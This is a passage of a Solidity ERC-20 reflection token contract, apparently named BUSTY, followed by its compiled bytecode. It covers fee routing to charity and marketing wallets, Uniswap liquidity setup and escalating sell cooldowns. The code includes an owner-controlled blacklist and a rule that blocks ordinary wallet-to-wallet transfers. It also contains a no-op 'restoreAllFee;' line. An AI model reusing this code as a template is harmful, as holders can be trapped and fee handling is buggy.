_teamFee = _teamFee * multiplier;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
sendTokenToFeeOnBuy(contractTokenBalance);
}
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
uint256 contractTokenBalance = balanceOf(address(this));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendTokenToFeeOnBuy(uint256 amount) private {
uint256 charityFirstAmt = amount.mul(40).div(100);
uint256 charitySecondAmt = amount.mul(40).div(100);
uint256 charityBurnAmt = amount.mul(20).div(100);
_tokenTransfer(address(this), _charityFirst, charityFirstAmt, false);
_tokenTransfer(address(this), _charitySecond, charitySecondAmt, false);
_tokenTransfer(address(this), _burnWallet, charityBurnAmt, false);
}
function sendETHToFee(uint256 amount) private {
_charityFirst.transfer(amount.mul(40).div(100));
_charitySecond.transfer(amount.mul(40).div(100));
_marketing.transfer(amount.mul(20).div(100));
}
function enableSwap() public onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
tradingOpen = true;
emit PairAddr(uniswapV2Pair);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _charityFirst);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _charityFirst);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063c3c8cd8011610064578063c3c8cd8014610386578063d543dbeb1461039d578063dd62ed3e146103c6578063e8078d9414610403578063ea2f0b371461041a5761011f565b806370a082311461029f578063715018a6146102dc5780638da5cb5b146102f357806395d89b411461031e578063a9059cbb146103495761011f565b806329691448116100e757806329691448146101f4578063313ce5671461020b578063437823ec146102365780635932ead11461025f5780636fc3eaec146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610443565b6040516101469190613910565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190613497565b610480565b60405161018391906138f5565b60405180910390f35b34801561019857600080fd5b506101a161049e565b6040516101ae9190613a92565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190613448565b6104af565b6040516101eb91906138f5565b60405180910390f35b34801561020057600080fd5b50610209610588565b005b34801561021757600080fd5b5061022061091e565b60405161022d9190613b07565b60405180910390f35b34801561024257600080fd5b5061025d600480360381019061025891906133ba565b610927565b005b34801561026b57600080fd5b50610286600480360381019061028191906134d3565b610a17565b005b34801561029457600080fd5b5061029d610ac9565b005b3480156102ab57600080fd5b506102c660048036038101906102c191906133ba565b610b3b565b6040516102d39190613a92565b60405180910390f35b3480156102e857600080fd5b506102f1610b8c565b005b3480156102ff57600080fd5b50610308610cdf565b6040516103159190613827565b60405180910390f35b34801561032a57600080fd5b50610333610d08565b6040516103409190613910565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b9190613497565b610d45565b60405161037d91906138f5565b60405180910390f35b34801561039257600080fd5b5061039b610d63565b005b3480156103a957600080fd5b506103c460048036038101906103bf9190613525565b610ddd565b005b3480156103d257600080fd5b506103ed60048036038101906103e8919061340c565b610f26565b6040516103fa9190613a92565b60405180910390f35b34801561040f57600080fd5b50610418610fad565b005b34801561042657600080fd5b50610441600480360381019061043c91906133ba565b6114b9565b005b60606040518060400160405280600581526020017f4255535459000000000000000000000000000000000000000000000000000000815250905090565b600061049461048d6115a9565b84846115b1565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104bc84848461177c565b61057d846104c86115a9565b610578856040518060600160405280602881526020016140f160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061052e6115a9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256b9092919063ffffffff16565b6115b1565b600190509392505050565b6105906115a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610614906139f2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106bd57600080fd5b505afa1580156106d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f591906133e3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561075757600080fd5b505afa15801561076b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078f91906133e3565b6040518363ffffffff1660e01b81526004016107ac929190613842565b60206040518083038186803b1580156107c457600080fd5b505afa1580156107d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fc91906133e3565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601460176101000a81548160ff0219169083151502179055506001601460186101000a81548160ff0219169083151502179055506001601460156101000a81548160ff0219169083151502179055506729a2241af62c000060158190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fdc59325231978c24b748e34ded714aedf9589b7682581814f83839623ba0113560405160405180910390a250565b60006009905090565b61092f6115a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b3906139f2565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a1f6115a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa3906139f2565b60405180910390fd5b80601460186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0a6115a9565b73ffffffffffffffffffffffffffffffffffffffff1614610b2a57600080fd5b6000479050610b38816125cf565b50565b6000610b85600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f565b9050919050565b610b946115a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c18906139f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4253545900000000000000000000000000000000000000000000000000000000815250905090565b6000610d59610d526115a9565b848461177c565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610da46115a9565b73ffffffffffffffffffffffffffffffffffffffff1614610dc457600080fd5b6000610dcf30610b3b565b9050610dda816127ed565b50565b610de56115a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e69906139f2565b60405180910390fd5b60008111610eb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eac906139b2565b60405180910390fd5b610ee46064610ed683683635c9adc5dea00000612ae790919063ffffffff16565b612b6290919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601554604051610f1b9190613a92565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb56115a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611042576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611039906139f2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110d230601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006115b1565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561111857600080fd5b505afa15801561112c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115091906133e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111b257600080fd5b505afa1580156111c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ea91906133e3565b6040518363ffffffff1660e01b8152600401611207929190613842565b602060405180830381600087803b15801561122157600080fd5b505af1158015611235573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125991906133e3565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306112e230610b3b565b6000806112ed610cdf565b426040518863ffffffff1660e01b815260040161130f96959493929190613894565b6060604051808303818588803b15801561132857600080fd5b505af115801561133c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611361919061354e565b5050506001601460176101000a81548160ff0219169083151502179055506001601460186101000a81548160ff0219169083151502179055506001601460156101000a81548160ff0219169083151502179055506729a2241af62c0000601581905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161146392919061386b565b602060405180830381600087803b15801561147d57600080fd5b505af1158015611491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b591906134fc565b5050565b6114c16115a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461154e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611545906139f2565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611621576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161890613a52565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168890613972565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161176f9190613a92565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e390613a32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561185c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185390613932565b60405180910390fd5b6000811161189f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189690613a12565b60405180910390fd5b6118a7610cdf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561191557506118e5610cdf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156124a857601460189054906101000a900460ff1615611b48573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561199757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4757601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a916115a9565b73ffffffffffffffffffffffffffffffffffffffff161480611b075750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611aef6115a9565b73ffffffffffffffffffffffffffffffffffffffff16145b611b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3d90613a72565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bec5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bf557600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ca05750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cf65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d0e5750601460189054906101000a900460ff165b15611e065760148054906101000a900460ff16611d2a57600080fd5b601554811115611d3957600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611d8457600080fd5b601e42611d919190613b77565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055506000611def30610b3b565b90506000811115611e0457611e0381612bac565b5b505b601460169054906101000a900460ff16158015611e715750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e895750601460179054906101000a900460ff165b156124a757611edf6064611ed16003611ec3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b3b565b612ae790919063ffffffff16565b612b6290919063ffffffff16565b8111158015611ef057506015548111155b611ef957600080fd5b42600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611f4457600080fd5b4262015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f939190613b77565b1015611fdf576000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561211657600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061207790613d26565b919050555042600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e10426120ce9190613b77565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242e565b6001600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561220957600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906121ae90613d26565b9190505550611c20426121c19190613b77565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242d565b6002600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156122fc57600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906122a190613d26565b9190505550615460426122b49190613b77565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242c565b6003600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561242b57600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061239490613d26565b919050555062015180600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e79190613b77565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b600061243930610b3b565b9050612444816127ed565b6000479050600081111561245c5761245b476125cf565b5b6124a4600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cc0565b50505b5b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061254f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561255957600090505b61256584848484612ceb565b50505050565b60008383111582906125b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125aa9190613910565b60405180910390fd5b50600083856125c29190613c58565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6126326064612624602886612ae790919063ffffffff16565b612b6290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561265d573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6126c160646126b3602886612ae790919063ffffffff16565b612b6290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156126ec573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6127506064612742601486612ae790919063ffffffff16565b612b6290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561277b573d6000803e3d6000fd5b5050565b60006006548211156127c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127bd90613952565b60405180910390fd5b60006127d0612d2a565b90506127e58184612b6290919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561284b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156128795781602001602082028036833780820191505090505b50905030816000815181106128b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561295957600080fd5b505afa15801561296d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061299191906133e3565b816001815181106129cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a3230601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115b1565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a96959493929190613aad565b600060405180830381600087803b158015612ab057600080fd5b505af1158015612ac4573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b600080831415612afa5760009050612b5c565b60008284612b089190613bfe565b9050828482612b179190613bcd565b14612b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4e906139d2565b60405180910390fd5b809150505b92915050565b6000612ba483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d55565b905092915050565b6000612bd56064612bc7602885612ae790919063ffffffff16565b612b6290919063ffffffff16565b90506000612c006064612bf2602886612ae790919063ffffffff16565b612b6290919063ffffffff16565b90506000612c2b6064612c1d601487612ae790919063ffffffff16565b612b6290919063ffffffff16565b9050612c5c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856000612ceb565b612c8b30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000612ceb565b612cba30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000612ceb565b50505050565b80600854612cce9190613bfe565b60088190555080600954612ce29190613bfe565b60098190555050565b80612cf957612cf8612db8565b5b612d04848484612de9565b80612d1257612d11612d18565b5b50505050565b60026008819055506007600981905550565b6000806000612d37612fb4565b91509150612d4e8183612b6290919063ffffffff16565b9250505090565b60008083118290612d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d939190613910565b60405180910390fd5b5060008385612dab9190613bcd565b9050809150509392505050565b6000600854148015612dcc57506000600954145b15612dd657612de7565b600060088190555060006009819055505b565b600080600080600080612dfb87613016565b955095509550955095509550612e5986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461307e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eee85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130c890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f3a81613126565b612f4484836131e3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612fa19190613a92565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea000009050612fea683635c9adc5dea00000600654612b6290919063ffffffff16565b82101561300957600654683635c9adc5dea00000935093505050613012565b81819350935050505b